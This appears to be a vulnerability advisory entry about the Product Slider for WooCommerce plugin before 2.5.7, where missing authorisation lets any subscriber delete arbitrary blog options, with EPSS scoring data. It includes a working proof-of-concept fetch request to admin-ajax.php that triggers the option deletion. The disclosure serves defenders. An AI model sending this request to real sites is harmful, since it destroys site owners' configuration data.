Product Slider for WooCommerce < 2.5.7 - Subscriber+ Arbitrary Options Deletion

2022-07-2600:00:00

Krzysztof Zając

211

0.001 Low

EPSS

Percentile

21.4%

JSON

The plugin has flawed CSRF checks and lack authorisation in some of its AJAX actions, allowing any authenticated users, such as subscriber to call them. One in particular could allow them to delete arbitrary blog options.

fetch("/wp-admin/admin-ajax.php", {
  "headers": {
    "content-type": "application/x-www-form-urlencoded",
  },

  "method": "POST",
  "body": "action=spwps-reset&unique=template",
  "credentials": "include"
}).then(response => response.text())
  .then(data => console.log(data));

0.001 Low

EPSS

Percentile

21.4%

JSON

Related for WPEX-ID:777D4637-444B-4EDA-BC21-95D3A3BF6CD3